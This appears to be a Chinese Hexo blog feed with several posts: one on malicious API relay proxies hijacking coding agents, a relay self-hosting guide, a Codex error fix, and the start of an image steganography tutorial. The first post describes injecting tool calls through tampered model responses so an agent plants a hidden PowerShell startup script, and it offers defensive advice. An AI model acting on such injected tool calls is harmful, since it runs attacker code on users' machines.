<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>Doub1e007</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <id>https://doub1e007.github.io/</id>
  <link href="https://doub1e007.github.io/" rel="alternate"/>
  <link href="https://doub1e007.github.io/atom.xml" rel="self"/>
  <rights>All rights reserved 2026, Doub1e007</rights>
  <subtitle>保持热爱，奔赴山海</subtitle>
  <title>剁椒鱼头没剁椒的博客</title>
  <updated>2026-06-06T03:36:33.283Z</updated>
  <entry>
    <author>
      <name>Doub1e007</name>
    </author>
    <category term="技术" scheme="https://doub1e007.github.io/categories/%E6%8A%80%E6%9C%AF/"/>
    <category term="API" scheme="https://doub1e007.github.io/tags/API/"/>
    <category term="AI" scheme="https://doub1e007.github.io/tags/AI/"/>
    <category term="安全" scheme="https://doub1e007.github.io/tags/%E5%AE%89%E5%85%A8/"/>
    <category term="Agent" scheme="https://doub1e007.github.io/tags/Agent/"/>
    <category term="中间人攻击" scheme="https://doub1e007.github.io/tags/%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB/"/>
    <content>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="问题的起点"><a href="#问题的起点" class="headerlink" title="问题的起点"></a>问题的起点</h2><p>很多人已经把”本地 Agent + 中转站”当成了日常玩法。Claude Code、OpenCode、Codex 这些工具的本质已经是 <strong>LLM + 本地执行器</strong>——它们不只是聊天，是真的能操作你的电脑。</p><h2 id="你以为的中转站-vs-实际上的中转站"><a href="#你以为的中转站-vs-实际上的中转站" class="headerlink" title="你以为的中转站 vs 实际上的中转站"></a>你以为的中转站 vs 实际上的中转站</h2><p>大多数人以为中转站就是个透明代理：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">客户端 → Proxy → Claude/OpenAI</span><br></pre></td></tr></table></figure><p>无非就是换个 API 地址、省点钱、解决区域限制。</p><p>但实际情况是，很多第三方 Proxy <strong>并不是透明转发</strong>，它完全可以做到：</p><ul><li><strong>修改 Prompt</strong>：在你发出去的请求里注入额外指令</li><li><strong>注入 System Prompt</strong>：改变模型的行为逻辑</li><li><strong>污染模型返回</strong>：在响应中插入恶意内容</li><li><strong>插入 Tool Call</strong>：伪造一个看起来正常的工具调用</li><li><strong>修改 Function Call</strong>：篡改参数或替换目标</li></ul><p>这本质上已经是 <strong>MITM（中间人攻击）</strong>了。</p><h2 id="真实案例"><a href="#真实案例" class="headerlink" title="真实案例"></a>真实案例</h2><p>最近有用户在微信群反馈：接入了某个公益中转站后，本地环境出现了异常——</p><ul><li><code>%AppData%</code> 下被创建了 <code>.ps1</code> 文件</li><li><code>Startup</code> 启动目录被写入了 <code>.vbs</code> 文件</li><li>开机自动运行，PowerShell 隐藏执行</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Startup\某文件.vbs</span><br><span class="line">  → WScript.Shell.Run powershell ...</span><br><span class="line">  → WindowStyle Hidden（隐藏窗口）</span><br></pre></td></tr></table></figure><p>虽然该案例只是弹窗，但这个行为模式本身——<strong>VBS 启动项 + PS1 Payload + Hidden PowerShell</strong>——已经和传统脚本木马高度接近了。</p><h2 id="攻击链路拆解"><a href="#攻击链路拆解" class="headerlink" title="攻击链路拆解"></a>攻击链路拆解</h2><p>很多人以为这是中转站”黑进了电脑”，其实真正的链路更隐蔽：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">用户请求</span><br><span class="line">  ↓</span><br><span class="line">Claude Code（正常发起）</span><br><span class="line">  ↓</span><br><span class="line">第三方 Proxy（修改返回内容）</span><br><span class="line">  ↓</span><br><span class="line">Claude Code（信任返回结果，触发工具调用）</span><br><span class="line">  ↓</span><br><span class="line">调用 Shell / File Tool</span><br><span class="line">  ↓</span><br><span class="line">本机执行恶意操作</span><br></pre></td></tr></table></figure><p><strong>真正危险的是”返回结果”被篡改</strong>，而不是直接攻击主机。</p><p>而这个攻击之所以难以察觉，是因为 Agent 平时<strong>本来就会</strong>做这些事：</p><ul><li>创建文件、改配置</li><li>跑 terminal 命令</li><li>安装依赖、写脚本</li></ul><p>恶意操作混在正常行为里，尤其是终端疯狂刷屏的时候，根本不会逐条去看。</p><p>而且用户看到的是”Claude Code 在正常工作”，天然就没什么警惕性。</p><h2 id="安全边界正在模糊化"><a href="#安全边界正在模糊化" class="headerlink" title="安全边界正在模糊化"></a>安全边界正在模糊化</h2><p>以前木马需要：</p><ul><li>漏洞利用</li><li>RCE</li><li>提权</li></ul><p>现在：用户自己装了一个”能执行命令的 AI”，它天然就有全盘读写权限和 Shell 执行能力。</p><p>攻击者不需要攻破你的系统——他只需要污染一次 API 返回，你的 Agent 就会帮他把剩下的活干了。这是安全模型上一个值得重视的变化。</p><h2 id="防护建议"><a href="#防护建议" class="headerlink" title="防护建议"></a>防护建议</h2><ol><li><strong>重要项目走官方 API</strong>：生产环境、涉及敏感数据的场景直接用厂商官方接口</li><li><strong>审查 Agent 的操作日志</strong>：定期回看 Agent 的 Shell 和文件操作记录，关注异常的脚本写入和启动项修改</li><li><strong>限制 Agent 的运行权限</strong>：在容器或受限用户下运行，减少 blast radius</li><li><strong>选择可信渠道</strong>：如果必须用中转，选技术栈透明、可审计的开源方案自建，而不是来历不明的公益站</li></ol><hr><blockquote><p>任何中转站都能干出这种事。不要把自己的 API 调用链路交给不透明的第三方——你给它的是钥匙，它拿你什么东西，全看人品。</p></blockquote>]]>
    </content>
    <id>https://doub1e007.github.io/2026/06/06/API%E4%B8%AD%E8%BD%AC%E7%AB%99%E7%9A%84%E5%AE%89%E5%85%A8%E9%9A%90%E6%82%A3-%E5%BD%93AI-Agent%E9%81%87%E4%B8%8A%E6%81%B6%E6%84%8F%E4%BB%A3%E7%90%86/</id>
    <link href="https://doub1e007.github.io/2026/06/06/API%E4%B8%AD%E8%BD%AC%E7%AB%99%E7%9A%84%E5%AE%89%E5%85%A8%E9%9A%90%E6%82%A3-%E5%BD%93AI-Agent%E9%81%87%E4%B8%8A%E6%81%B6%E6%84%8F%E4%BB%A3%E7%90%86/"/>
    <published>2026-06-06T12:00:00.000Z</published>
    <summary>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" cla]]>
    </summary>
    <title>API 中转站的安全隐患：当 AI Agent 遇上恶意代理</title>
    <updated>2026-06-06T03:36:33.283Z</updated>
  </entry>
  <entry>
    <author>
      <name>Doub1e007</name>
    </author>
    <category term="技术" scheme="https://doub1e007.github.io/categories/%E6%8A%80%E6%9C%AF/"/>
    <category term="API" scheme="https://doub1e007.github.io/tags/API/"/>
    <category term="AI" scheme="https://doub1e007.github.io/tags/AI/"/>
    <category term="安全" scheme="https://doub1e007.github.io/tags/%E5%AE%89%E5%85%A8/"/>
    <category term="自建服务" scheme="https://doub1e007.github.io/tags/%E8%87%AA%E5%BB%BA%E6%9C%8D%E5%8A%A1/"/>
    <category term="架构" scheme="https://doub1e007.github.io/tags/%E6%9E%B6%E6%9E%84/"/>
    <content>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="一、API-中转站是什么？"><a href="#一、API-中转站是什么？" class="headerlink" title="一、API 中转站是什么？"></a>一、API 中转站是什么？</h2><p>API 中转站本质上是一个”二房东”——从 OpenAI、Anthropic、DeepSeek 等厂商批量采购 API 额度，再拆成小份转售给用户，赚取差价和信息差。</p><p>核心架构很简单：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">用户请求 → 中转服务器 → 上游模型服务商</span><br></pre></td></tr></table></figure><p>中转站拿到用户的 Prompt → 用自己的 Key 调用上游 API → 把结果返回给用户。用户不需要自己申请各家 API Key，一个中转站 Key 就能用多个模型。</p><p><strong>技术栈</strong>：协议转换（统一为 OpenAI 格式）+ 多 Key 轮询 + 多模型路由。</p><h2 id="二、商业模式的四个关键问题"><a href="#二、商业模式的四个关键问题" class="headerlink" title="二、商业模式的四个关键问题"></a>二、商业模式的四个关键问题</h2><h3 id="2-1-货源复杂"><a href="#2-1-货源复杂" class="headerlink" title="2.1 货源复杂"></a>2.1 货源复杂</h3><p>正规中转站走官方 API 渠道，但大量中转站的 Key 来源是：</p><ul><li><strong>第三方代理账户</strong>：在特定国家注册企业账号获取更低价格</li><li><strong>被盗的 API Key</strong>：暗网上的成熟交易市场</li><li><strong>套利方案</strong>：利用免费额度、教育优惠、系统 Bug</li></ul><h3 id="2-2-数据经过第三方服务器"><a href="#2-2-数据经过第三方服务器" class="headerlink" title="2.2 数据经过第三方服务器"></a>2.2 数据经过第三方服务器</h3><p>所有请求先到中转站，再转发给上游。中转站理论上可以看到全部 Prompt 内容——商业计划书、代码、财务数据等。</p><h3 id="2-3-Key-管理风险"><a href="#2-3-Key-管理风险" class="headerlink" title="2.3 Key 管理风险"></a>2.3 Key 管理风险</h3><p>中转站的核心能力是”多 Key 轮询 + 多模型路由”。你的 API Key 在中转站服务器上通常以明文或可逆加密形式存储，安全性完全取决于运营者的运维水平。</p><h3 id="2-4-法律风险"><a href="#2-4-法律风险" class="headerlink" title="2.4 法律风险"></a>2.4 法律风险</h3><p>2025 年以来，多地出现 AI 中转站经营者被刑拘的案例，涉及侵犯著作权、非法经营和数据安全问题。</p><h2 id="三、便宜-Token-的四层安全风险"><a href="#三、便宜-Token-的四层安全风险" class="headerlink" title="三、便宜 Token 的四层安全风险"></a>三、便宜 Token 的四层安全风险</h2><h3 id="第一层：Prompt-劫持"><a href="#第一层：Prompt-劫持" class="headerlink" title="第一层：Prompt 劫持"></a>第一层：Prompt 劫持</h3><p>中转站可记录每次请求内容。调试 Agent 的 Prompt 模板、RAG 系统的训练数据等，都是沉淀下来的经验资产，中转站记录的 Prompt 库本身就可能被倒卖。</p><h3 id="第二层：Key-泄露"><a href="#第二层：Key-泄露" class="headerlink" title="第二层：Key 泄露"></a>第二层：Key 泄露</h3><p>Key 存放在中转站数据库。一旦数据库未加密或使用弱密码，攻击者可以拿 Key 直接跑各种模型，账单可能一个月后才到。</p><h3 id="第三层：供应链攻击"><a href="#第三层：供应链攻击" class="headerlink" title="第三层：供应链攻击"></a>第三层：供应链攻击</h3><p>2026 年 5 月，Socket.dev 报告 TrapDoor 供应链攻击同时波及 PyPI、NPM 和 crates.io 三大包管理器。AI 工具链是开源依赖的重度使用者，中转站使用的开源组件一旦被投毒，所有请求都可能被中间人劫持。</p><h3 id="第四层：法律连带责任"><a href="#第四层：法律连带责任" class="headerlink" title="第四层：法律连带责任"></a>第四层：法律连带责任</h3><p>如果中转站的 Key 来源不合法（盗取的、利用漏洞获取的），使用者某种意义上是在用”赃物”提供服务，存在法律追溯风险。</p><h2 id="四、自建-API-中转站指南"><a href="#四、自建-API-中转站指南" class="headerlink" title="四、自建 API 中转站指南"></a>四、自建 API 中转站指南</h2><p>与其依赖不可控的第三方，不如自己搭建。以下是完整技术方案。</p><h3 id="4-1-核心开源项目对比"><a href="#4-1-核心开源项目对比" class="headerlink" title="4.1 核心开源项目对比"></a>4.1 核心开源项目对比</h3><table><thead><tr><th>项目</th><th>Stars</th><th>语言</th><th>特点</th></tr></thead><tbody><tr><td><strong>One API</strong></td><td>31k+</td><td>Go</td><td>老牌经典，中文生态完善，国产模型覆盖全</td></tr><tr><td><strong>New API</strong></td><td>24k+</td><td>Go</td><td>One API 增强版，在线充值、模型限流、数据看板</td></tr><tr><td><strong>LiteLLM</strong></td><td>41k+</td><td>Python</td><td>100+ 模型，Python SDK + Proxy Server</td></tr></tbody></table><h3 id="4-2-整体架构"><a href="#4-2-整体架构" class="headerlink" title="4.2 整体架构"></a>4.2 整体架构</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">┌─────────────┐     ┌─────────────────────┐     ┌─────────────────┐</span><br><span class="line">│ 你的应用     │────▶│    API 中转网关      │────▶│ 各模型服务商    │</span><br><span class="line">│ (Codex/     │     │                     │     │                 │</span><br><span class="line">│  Claude Code│     │ · 协议转换 (OpenAI)  │     │ · DeepSeek      │</span><br><span class="line">│  /自研系统)  │     │ · 密钥统一管理       │     │ · OpenAI/GLM    │</span><br><span class="line">└─────────────┘     │ · 模型路由与调度     │     │ · 硅基流动      │</span><br><span class="line">                     │ · 负载均衡          │     │ · 火山引擎      │</span><br><span class="line">                     │ · 计费与审计        │     └─────────────────┘</span><br><span class="line">                     └─────────────────────┘</span><br></pre></td></tr></table></figure><p><strong>核心模块</strong>：</p><ul><li><strong>协议转换层</strong>：将所有厂商 API 统一转为 OpenAI Chat Completions 格式（包括 Anthropic → OpenAI 转换）</li><li><strong>智能路由层</strong>：支持延迟优先、成本优先、最少负载、加权轮询、故障转移等策略</li><li><strong>密钥与配额管理</strong>：上游 Key 只存服务端，对外签发短期虚拟 Token，额度耗尽自动熔断</li><li><strong>负载均衡</strong>：多上游并发，取最快返回</li></ul><h3 id="4-3-快速部署：New-API（推荐）"><a href="#4-3-快速部署：New-API（推荐）" class="headerlink" title="4.3 快速部署：New API（推荐）"></a>4.3 快速部署：New API（推荐）</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Docker 一键部署</span></span><br><span class="line">docker run --name new-api -d \</span><br><span class="line">  --restart always \</span><br><span class="line">  -p 3000:3000 \</span><br><span class="line">  -e TZ=Asia/Shanghai \</span><br><span class="line">  -v /data/new-api:/data \</span><br><span class="line">  calciumion/new-api:latest</span><br><span class="line"></span><br><span class="line"><span class="comment"># 访问 http://your-server:3000</span></span><br><span class="line"><span class="comment"># 默认账号：root / 123456（登录后立即改密码）</span></span><br></pre></td></tr></table></figure><p>New API 比 One API 额外支持：在线充值支付、模型限流、相同请求不重复扣费、更详细的数据看板、更好的函数调用支持。</p><h3 id="4-4-各模型渠道配置"><a href="#4-4-各模型渠道配置" class="headerlink" title="4.4 各模型渠道配置"></a>4.4 各模型渠道配置</h3><table><thead><tr><th>渠道</th><th>Base URL</th><th>模型名</th></tr></thead><tbody><tr><td>DeepSeek 官方</td><td><code>https://api.deepseek.com</code></td><td><code>deepseek-chat</code>, <code>deepseek-reasoner</code></td></tr><tr><td>硅基流动</td><td><code>https://api.siliconflow.cn</code></td><td><code>deepseek-ai/DeepSeek-V3</code>, <code>deepseek-ai/DeepSeek-R1</code></td></tr><tr><td>智谱 AI（type 16）</td><td><code>https://open.bigmodel.cn</code></td><td><code>glm-4-flash</code>, <code>glm-4.7-flash</code></td></tr><tr><td>火山引擎（豆包）</td><td><code>https://ark.cn-beijing.volces.com</code></td><td><code>doubao-seed-2-0-lite</code></td></tr></tbody></table><p><strong>注意</strong>：Base URL 不要带 <code>/v1</code>，网关会自动拼接；智谱必须用专属 type 16，不能用通用 OpenAI type 1。</p><h3 id="4-5-多模型路由策略"><a href="#4-5-多模型路由策略" class="headerlink" title="4.5 多模型路由策略"></a>4.5 多模型路由策略</h3><p><strong>优先级 + 权重混合路由</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">DeepSeek 官方（优先级 1，权重 80%）</span><br><span class="line">   └── 失败 → 硅基流动 DeepSeek（优先级 2，权重 15%）</span><br><span class="line">                └── 失败 → GLM-4-Flash（优先级 3，权重 5%）</span><br></pre></td></tr></table></figure><p><strong>按请求复杂度智能路由</strong>：长文本切到 Claude、简单问题走 DeepSeek、复杂推理走 GPT-4o。</p><h3 id="4-6-高可用设计"><a href="#4-6-高可用设计" class="headerlink" title="4.6 高可用设计"></a>4.6 高可用设计</h3><table><thead><tr><th>机制</th><th>实现方式</th></tr></thead><tbody><tr><td>多上游冗余</td><td>同一模型配置 2-3 个不同渠道</td></tr><tr><td>熔断降级</td><td>连续错误率 &gt; 阈值时自动暂停该上游</td></tr><tr><td>指数退避重试</td><td>429 限流 → <code>min(base × 2^attempt, max_delay)</code></td></tr><tr><td>语义缓存</td><td>Embedding 结果 Redis 缓存，可降低 40-60% 成本</td></tr><tr><td>健康检查</td><td>定时检查上游可用性，自动剔除故障节点</td></tr></tbody></table><h3 id="4-7-加域名和-HTTPS"><a href="#4-7-加域名和-HTTPS" class="headerlink" title="4.7 加域名和 HTTPS"></a>4.7 加域名和 HTTPS</h3><figure class="highlight nginx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">server</span> &#123;</span><br><span class="line">    <span class="attribute">listen</span> <span class="number">443</span> ssl;</span><br><span class="line">    <span class="attribute">server_name</span> api.yourdomain.com;</span><br><span class="line"></span><br><span class="line">    <span class="section">location</span> / &#123;</span><br><span class="line">        <span class="attribute">proxy_pass</span> http://127.0.0.1:3000;</span><br><span class="line">        <span class="attribute">proxy_set_header</span> Host <span class="variable">$host</span>;</span><br><span class="line">        <span class="attribute">proxy_set_header</span> X-Real-IP <span class="variable">$remote_addr</span>;</span><br><span class="line">        <span class="attribute">proxy_set_header</span> X-Forwarded-For <span class="variable">$proxy_add_x_forwarded_for</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="4-8-在-Claude-Code-Cursor-中使用"><a href="#4-8-在-Claude-Code-Cursor-中使用" class="headerlink" title="4.8 在 Claude Code &#x2F; Cursor 中使用"></a>4.8 在 Claude Code &#x2F; Cursor 中使用</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Claude Code</span></span><br><span class="line"><span class="built_in">export</span> ANTHROPIC_BASE_URL=<span class="string">&quot;https://你的域名/v1&quot;</span></span><br><span class="line"><span class="built_in">export</span> ANTHROPIC_AUTH_TOKEN=<span class="string">&quot;你的令牌&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Cursor / 通用 OpenAI 兼容工具</span></span><br><span class="line">OPENAI_BASE_URL=<span class="string">&quot;https://你的域名/v1&quot;</span></span><br><span class="line">OPENAI_API_KEY=<span class="string">&quot;你的令牌&quot;</span></span><br></pre></td></tr></table></figure><h2 id="五、建议：不同场景的选择"><a href="#五、建议：不同场景的选择" class="headerlink" title="五、建议：不同场景的选择"></a>五、建议：不同场景的选择</h2><ul><li><strong>个人体验，不涉及敏感数据</strong>：便宜的公开中转站可用，但别上传敏感内容</li><li><strong>正式工作（写方案、分析数据、编程）</strong>：推荐自建中转层（Docker 一条命令的事）或使用国内大厂正规 API（文心、豆包、通义千问等，价格本身不贵）</li><li><strong>团队使用，涉及商业数据</strong>：直接用官方 API 或信得过的云服务商模型服务，数据安全的成本远低于数据泄露的代价</li></ul><h2 id="六、成本优化实战"><a href="#六、成本优化实战" class="headerlink" title="六、成本优化实战"></a>六、成本优化实战</h2><table><thead><tr><th>策略</th><th>实现</th><th>预期节省</th></tr></thead><tbody><tr><td>模型降级</td><td>非关键任务自动路由到免费&#x2F;低价模型</td><td>60-80%</td></tr><tr><td>语义缓存</td><td>相似问题返回缓存结果</td><td>40-60%</td></tr><tr><td>批量请求</td><td>合并小请求为 batch</td><td>20-30%</td></tr><tr><td>多渠道比价</td><td>自动选择同模型最低价渠道</td><td>按渠道价差</td></tr></tbody></table><h2 id="推荐路线图"><a href="#推荐路线图" class="headerlink" title="推荐路线图"></a>推荐路线图</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">阶段 1（MVP）：</span><br><span class="line">  Docker 部署 New API → 接入 DeepSeek + 硅基流动</span><br><span class="line">  → 生成统一 Token → 接入 Claude Code / Cursor</span><br><span class="line"></span><br><span class="line">阶段 2（生产化）：</span><br><span class="line">  加域名 + HTTPS → 添加多个上游渠道做容灾</span><br><span class="line">  → 配置优先级和权重 → 启用日志审计</span><br><span class="line"></span><br><span class="line">阶段 3（企业级）：</span><br><span class="line">  LiteLLM 多模型智能路由 → Redis 语义缓存</span><br><span class="line">  → Prometheus + Grafana 监控 → 多区域部署</span><br></pre></td></tr></table></figure><hr><blockquote><p>参考来源：<a href="https://www.bilibili.com/opus/1200981445675319315">B 站原文</a> · <a href="https://github.com/songquanpeng/one-api">One API</a> · <a href="https://socket.dev/blog/trapdoor-crypto-stealer-npm-pypi-crates">Socket.dev 供应链安全报告</a></p></blockquote>]]>
    </content>
    <id>https://doub1e007.github.io/2026/06/04/API%E4%B8%AD%E8%BD%AC%E7%AB%99%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90/</id>
    <link href="https://doub1e007.github.io/2026/06/04/API%E4%B8%AD%E8%BD%AC%E7%AB%99%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90/"/>
    <published>2026-06-04T12:00:00.000Z</published>
    <summary>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" cla]]>
    </summary>
    <title>API 中转站深度解析：商业模式、安全风险与自建指南</title>
    <updated>2026-06-04T07:21:04.725Z</updated>
  </entry>
  <entry>
    <author>
      <name>Doub1e007</name>
    </author>
    <category term="随记" scheme="https://doub1e007.github.io/categories/%E9%9A%8F%E8%AE%B0/"/>
    <category term="常用工具报错解决" scheme="https://doub1e007.github.io/tags/%E5%B8%B8%E7%94%A8%E5%B7%A5%E5%85%B7%E6%8A%A5%E9%94%99%E8%A7%A3%E5%86%B3/"/>
    <content>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>在新机器上下载使用Codex启动时遇到如下报错（登录失败：failed to start login server: 以一种访问权限不允许的方式做了一个访问套接字的尝试）</p><p>大概率是端口问题</p><p><strong>解决方案：</strong></p><ul><li>停止 Winnat → 释放 NAT 占用的端口。</li><li>查看排除端口 → 确认哪些端口被保留。</li><li>启动 Winnat → 恢复 NAT 功能。</li><li>再次查看 → 对比端口变化，判断端口是否可用。</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">net stop winnat</span><br><span class="line">netsh interface ipv4 show excludedportrange protocol=tcp</span><br><span class="line">net start winnat</span><br><span class="line">netsh interface ipv4 show excludedportrange protocol=tcp </span><br></pre></td></tr></table></figure><p><strong>关于使用codex要求验证手机号码，解决方案见下：</strong></p><p><a href="https://mp.weixin.qq.com/s/FcyiSAZJVGdfi0-27jg-Og">https://mp.weixin.qq.com/s/FcyiSAZJVGdfi0-27jg-Og</a></p><p>&#x3D;&#x3D;<strong>注意：</strong>&#x3D;&#x3D;<br>此方法仅供ChatGPT会员用户使用<br>普通用户跳过手机号验证也会出现问题<br>Failed to refresh token: 400 Bad Request: Invalid ‘refresh_token’: empty string. Expected a string with minimum length 1, but got an empty string instead.</p>]]>
    </content>
    <id>https://doub1e007.github.io/2026/05/19/%E4%BD%BF%E7%94%A8codex%E6%97%B6%E9%81%87%E5%88%B0%E7%9A%84%E9%97%AE%E9%A2%98%E5%8F%8A%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88/</id>
    <link href="https://doub1e007.github.io/2026/05/19/%E4%BD%BF%E7%94%A8codex%E6%97%B6%E9%81%87%E5%88%B0%E7%9A%84%E9%97%AE%E9%A2%98%E5%8F%8A%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88/"/>
    <published>2026-05-19T08:47:52.000Z</published>
    <summary>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" cla]]>
    </summary>
    <title>使用codex时遇到的问题及解决方案</title>
    <updated>2026-05-19T08:47:52.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Doub1e007</name>
    </author>
    <category term="安全" scheme="https://doub1e007.github.io/categories/%E5%AE%89%E5%85%A8/"/>
    <category term="安全" scheme="https://doub1e007.github.io/tags/%E5%AE%89%E5%85%A8/"/>
    <category term="隐写" scheme="https://doub1e007.github.io/tags/%E9%9A%90%E5%86%99/"/>
    <category term="Python" scheme="https://doub1e007.github.io/tags/Python/"/>
    <category term="CTF" scheme="https://doub1e007.github.io/tags/CTF/"/>
    <content>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>图片隐写（Image Steganography），即把信息隐藏在图片中，使人从视觉上无法察觉。在 CTF 竞赛和实际攻防场景中都有广泛应用。</p><h2 id="一、基本原理"><a href="#一、基本原理" class="headerlink" title="一、基本原理"></a>一、基本原理</h2><p>图像在计算机中以像素矩阵存储，每个像素由多个通道（如 RGB 三通道，每通道 8 bit）组成。隐写的核心思路是：<strong>修改人眼不敏感的数据位来承载信息</strong>。</p><p>以最简单的方式举例——修改像素值的最低有效位（LSB）：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">原始像素: 10101100 11010010 01011101  (R=172, G=210, B=93)</span><br><span class="line">隐藏 &#x27;A&#x27; : 10101100 11010010 01011100  (只改了 B 的最低位, 93→92)</span><br></pre></td></tr></table></figure><p>人眼几乎无法分辨 93 和 92 的颜色差异，但机器可以读取这个最低位还原出隐藏信息。</p><h2 id="二、常见隐写技术"><a href="#二、常见隐写技术" class="headerlink" title="二、常见隐写技术"></a>二、常见隐写技术</h2><h3 id="2-1-LSB-替换（Least-Significant-Bit）"><a href="#2-1-LSB-替换（Least-Significant-Bit）" class="headerlink" title="2.1 LSB 替换（Least Significant Bit）"></a>2.1 LSB 替换（Least Significant Bit）</h3><p>最基础的隐写方法。将秘密信息的每个 bit 替换到像素通道的最低有效位。</p><p><strong>原理</strong>：8 bit 颜色值中，高位决定颜色主体，最低位的变化对视觉影响极小。一张 1920×1080 的图片，仅用每个像素 R 通道的最低位就能存储约 250KB 数据。</p><h3 id="2-2-LSB-匹配（LSB-Matching）"><a href="#2-2-LSB-匹配（LSB-Matching）" class="headerlink" title="2.2 LSB 匹配（LSB Matching）"></a>2.2 LSB 匹配（LSB Matching）</h3><p>LSB 替换的改进版。如果秘密 bit 与载体 bit 不同，不只是翻转最低位，而是随机 +1 或 -1 整个像素值。这样做可以避免 LSB 替换引入的统计特征（偶数值总是减少、奇数值总是增加），对抗直方图分析。</p><h3 id="2-3-频域隐写（DCT-DWT）"><a href="#2-3-频域隐写（DCT-DWT）" class="headerlink" title="2.3 频域隐写（DCT &#x2F; DWT）"></a>2.3 频域隐写（DCT &#x2F; DWT）</h3><p>不直接修改像素值，而是将图像变换到频域（离散余弦变换 &#x2F; 小波变换），在变换系数中嵌入信息。JPEG 压缩本身就使用 DCT，所以频域隐写对 JPEG 图片有更好的鲁棒性。</p><p><strong>JSteg &#x2F; F5 算法</strong>就是经典的 JPEG 频域隐写。</p><h3 id="2-4-调色板隐写"><a href="#2-4-调色板隐写" class="headerlink" title="2.4 调色板隐写"></a>2.4 调色板隐写</h3><p>对 PNG&#x2F;GIF 等使用调色板的图片，通过重新排列调色板颜色顺序来编码信息。颜色表有 N 个条目时可以编码 log₂(N!) bit 信息。</p><h3 id="2-5-附加数据隐写"><a href="#2-5-附加数据隐写" class="headerlink" title="2.5 附加数据隐写"></a>2.5 附加数据隐写</h3><p>直接在文件末尾追加数据。很多文件格式允许在结束标记后附加额外数据而不影响渲染：</p><ul><li><strong>JPEG</strong>：在 <code>FF D9</code>（EOI 标记）后附加数据</li><li><strong>PNG</strong>：在 <code>IEND</code> chunk 后附加数据</li><li><strong>GIF</strong>：在 <code>3B</code>（trailer）后附加数据</li></ul><h2 id="三、Python-实现-LSB-隐写"><a href="#三、Python-实现-LSB-隐写" class="headerlink" title="三、Python 实现 LSB 隐写"></a>三、Python 实现 LSB 隐写</h2><h3 id="3-1-编码：将文本藏入图片"><a 